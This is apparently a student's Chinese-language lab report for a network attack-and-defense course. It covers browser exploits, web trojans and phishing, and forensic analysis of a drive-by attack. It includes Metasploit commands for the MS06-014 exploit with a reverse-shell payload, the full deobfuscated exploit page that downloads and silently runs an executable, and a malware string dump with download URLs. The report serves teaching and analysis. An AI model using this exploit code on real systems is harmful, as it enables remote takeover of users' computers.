20199111 2019-2020-2 《网络攻防实践》第十二周作业

20199111 2019-2020-2 《网络攻防实践》第十二周作业

1.实践内容

1.1web浏览器的技术发展与安全威胁

  • 现代浏览器的基本结构

  • 现代Web浏览器软件的内核引擎与可扩展机制

Web浏览器软件的安全困境的三要素

  • 复杂性

    • 现代浏览器软件需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览

    • 符合HTML、XHTML、CSS等一系列页面标准规范

    • 支持JavaScript、Flash、Java等多种客户端执行环境,并满足大量的用户浏览需求

  • 可扩展性

    • 支持第三方插件扩展机制,这些插件的安全性难以保证
  • 连通性

    • 始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用和攻击

Web浏览安全威胁位置

  • 针对传输网络的网络安全协议安全威胁

    • 网络是连接 Web 应用服务端与客户端浏览环境的媒介,服务器端同样面临着网络传输协议安全攻击与威胁
  • 针对Web端系统平台的安全威胁

    • 浏览器软件、插件及相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得 Web 浏览环境存在着被攻击的风险

    • 针对 Windows 桌面系统的渗透攻击与恶意代码是目前网络安全威胁的主要形态

  • 针对Web浏览器软件及插件程序的渗透攻击威胁

    • 通过客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序
  • 针对互联网用户的社会工程学攻击威胁

1.2Web浏览器的渗透攻击威胁-网页木马

  • 网页木马的定义特性

    • 对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码

    • 通常以网页脚本语言如JavaScript、VBScirpt实现,或以Flash、PDF等恶意构造的Web文件形式存在

    • 通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序

  • 对网页木马机理的全方位分析与理解

    • 网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面

    • 多样化的客户端渗透攻击位置和技术类型

      • 集成了多样化的客户端渗透攻击代码,攻击的软件类型与位置,利用的安全漏洞也各不相同
    • 分布式、复杂的微观链接结构

      • 采用多个木马宿主站点来放置网页木马和盗号木马,并将它们挂接至大量的前端网页中

      • 引入了一些中间跳转站点来提升防御方的分析和应对代价

    • 灵活多变的混淆与对抗分析能力

      • 攻击者利用的Web客户端脚本语言,如JavaScript语言,都支持各种非常灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制
  • 网页木马的本质核心--浏览器渗透攻击

  • 网页挂马机制

    • 内嵌HTML标签

      • 将网页木马链接嵌入到网站页面中

      • 最常用千网页挂马的内嵌标签为ifame

      • iframe的功能是在页面中创建一个内嵌的框架,用于包含和显示其他文档页面,当包含页面被浏览器打开时,被包含的页面也会同时被请求并显示在内嵌框架中

    • 恶意Script脚本

      • 利用script脚本标签通过外部引用脚本的方式来包含网页木马

      • 跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签

    • 内嵌对象链接

      • 利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载
    • ARP欺骗挂马

      • 在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间入攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点

混淆机制

  • 常见的混淆方法

    • 将代码重新排版,上除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,干扰阅读分析

    • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆

    • 通过加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document.write( )或 eval()进行动态输出或执行

    • 利用字符串运算、数学运算或特殊函数。通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆代码,然后在运行时首先替换回原先的字符,然后进行动态执行

    • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件

1.3网页木马的检测与分析技术

  • 基于特征码匹配的传统检测技术

    • 混淆技术和复杂的链接结构使得该技术不再有效
  • 基于统计与机器学习的静态分析方法

    • 仍然停留在外在形态层次上,存在大量误报,不适用于实际场景
  • 基于动态行为结果判定的检测分析方法

    • 利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性

    • 基于 “行为结果 ” 进行判定,因此具有低误报率、能够天然地对抗混淆机制

  • 基于模拟浏览器环境的动态分析检测方法

    • 通过模拟实现DOM模型页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交且式客户端蜜罐环境,在该环境中进行网页脚本的动态解释执行,以此还原出网页木马在混淆之前的真实形态

网页木马防御措施

  • 系统补丁要及时更新

  • 安装并及时更新反病毒软件

  • 使用第三方浏览器,如Firefox/Opera等非IE内核的第三方浏览器

  • 养成安全的网站浏览习惯,不要随便点击各种来源不明,带有引诱语言的链接

1.4网络钓鱼

  • 网络钓鱼定义

    • 攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容
  • 钓鱼攻击技术流程

    • 攻击者扫描网段,寻找存有漏洞的服务器

    • 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具

    • 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行

    • 攻击者下载群发电子邮件工具,大规模发送包含假冒钓鱼网站信息的欺骗性垃圾

    • 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息

  • 防范措施

    • 提高警惕,不登录不熟悉的网站

    • 不要打开陌生人的电子邮件,更不要轻信他人说教,特别是即时通讯工具上的传来的消息

    • 安装杀毒软件并及时升级病毒知识库和操作系统补丁

    • 将敏感信息输入隐私保护,打开个人防火墙

    • 收到不明电子邮件时不要点击其中的任何链接

2.实践过程

2.1 浏览器渗透攻击实践

设备 IP地址
攻击机kali 192.168.6.7
靶机win2k 192.168.6.124

使用Metasploit的MS06-014渗透攻击模块(ie_createobject)

msfconsole //打开Metasploit

search MS06-014

use 0 //使用ie_createobject攻击模块

set LHOST 192.168.6.7 //设置攻击机IP

set payload windows/meterpreter/reverse_tcp  //设置payload

exploit 

得到了如图的带有木马的地址,在靶机上登录该地址

这时返回攻击机可以看到靶机已经连接

使用命令sessions -i 1打开会话,可以使用命令

2.2 取证分析实践——剖析一个实际的网页木马攻击场景

给到的资料中直接得到了.exe文件(014.exe,bf.exe,pps.exe,bd.exe)我们发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行MD5散列计算得出结论,这四个文件内容完全相同!从pps.exe入手进行分析

首先使用PEiD,查看这个可执行文件的加壳情况

看到该可执行程序它是用Delphi写的

接着使用W32DAsm反汇编软件打开pps.exe,查看串式参考

具体内容如下

" goto try"
"#32770"
"(T@"
",T@"
".1"
":AutoRun.inf"
":try"
"[AutoRun]
open="
"program filesinternet explorerIEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shellAutocommand="
"shellexecute="
"SOFTWAREBorlandDelphiRTL"
"SoftwareMicrosoftWindowsCurrentVersionPoli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳�SVW?�"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"

cmd /c date,cmd /c date 1981-01-12,del %0,if exist判断该程序包含一些判断文件存在性,更改系统日期,删除某些文件的命令

AutoRun.inf,shellAutocommand=等,判断这个程序可能在磁盘根目录下生成自动运行的文件

advapi32.dll,"program filesinternet explorerIEXPLORE.EXE,Kernel32.dll,SoftwareMicrosoftWindowsCurrentVersionPoli等,判断这个程序要对IE、注册表、服务和系统文件进行一些操作

瑞星卡卡上网安全助手 - IE防漏墙等,判断这个程序有一定的防系统保护软件的能力

由大量的网页链接判断该程序会下载大量木马

2.3 Web浏览器渗透攻击对抗实验

重复实践一,并使用wireshark进行抓包,查看tcp流

看到存在大量空格,进行处理后得到如下代码

< html >
< head > 
< title > 
< /title><script language="javascript">
function xwMBtqubtDcpfrYQgDNsgPIehC(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function KWPWXQLEXUuXllChgdvklEPSJqfeXs(a){var s=xwMBtqubtDcpfrYQgDNsgPIehC(a,"WScript.Shell");var o=xwMBtqubtDcpfrYQgDNsgPIehC(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload
';var xml=null;var bin=e.Item("TEMP")+"\sqRen.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function VqWuNIhSKHprDdHMQi(){var i=0;var t=new Array(' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
    BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);
while(t[i]){var a=null;if(t[i].substring(0,1)==' {
    '){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=xwMBtqubtDcpfrYQgDNsgPIehC(a,"WScript.Shell");if(b){KWPWXQLEXUuXllChgdvklEPSJqfeXs(a);return(0)}}catch(e){}}i++}}
</script>
</head>
<body onload='VqWuNIhSKHprDdHMQi()'>
hYOf
</body>
</html>

通过js代码可以查到攻击机利用了MS06-014漏洞进行攻击

2.4 Web浏览器遭遇攻击、取证分析

首先用wireshark打开给出的.pcap文件

捕获文件中包含的应用层协议有大量的http协议和极少量的DNS协议,显然攻击是针对http协议的

筛选出http协议下的数据包

看到通信用户包括10.0.2.15,10.0.3.15,10.0.4.15,10.0.5.15,192.168.56.50,192.168.56.52

其中10.0.x.15用户发送服务请求,192.168.56.xx进行应答,判断前者为受害者,后者为攻击者

借助chaosreader工具可以看到攻击者的网站

chaosreader suspicious-time.pcap 

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort

打开上一步生成的session_0006.part_01.html文件,看到如下网页,对应rapidshare.com.eyu32.ru/login.php

打开session_0007.part_02.html,看到如下网页,对应sploitme.com.cn

打开session_0032.part_01.html,看到如下网页,对应shop.honeynet.sg/catalog/

攻击描述

  • 受害者10.0.2.15访问rapidshare.com.eyu32.ru/login.php(192.168.56.50)

  • 该网页上包含着一些javascript代码,被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f(192.168.56.52)

  • 随后向受害者返回一个纯净的伪404错误页面

防分析方法

  • 恶意页面伪装成404错误页面

  • 受害者连接到sploitme.com.cn一次之后,恶意程序不会再指向该网页,而会返回一个纯净的404网页

3.学习中遇到的问题及解决

  • 问题1:实践二中对可执行程序脱壳了之后再使用W32DAsm打不开脱壳后的文件了

  • 问题1解决方案:未解决

4.实践总结

越到后面越综合,也越感觉无从下手

参考资料

原文地址:https://www.cnblogs.com/yumiao9111/p/12909668.html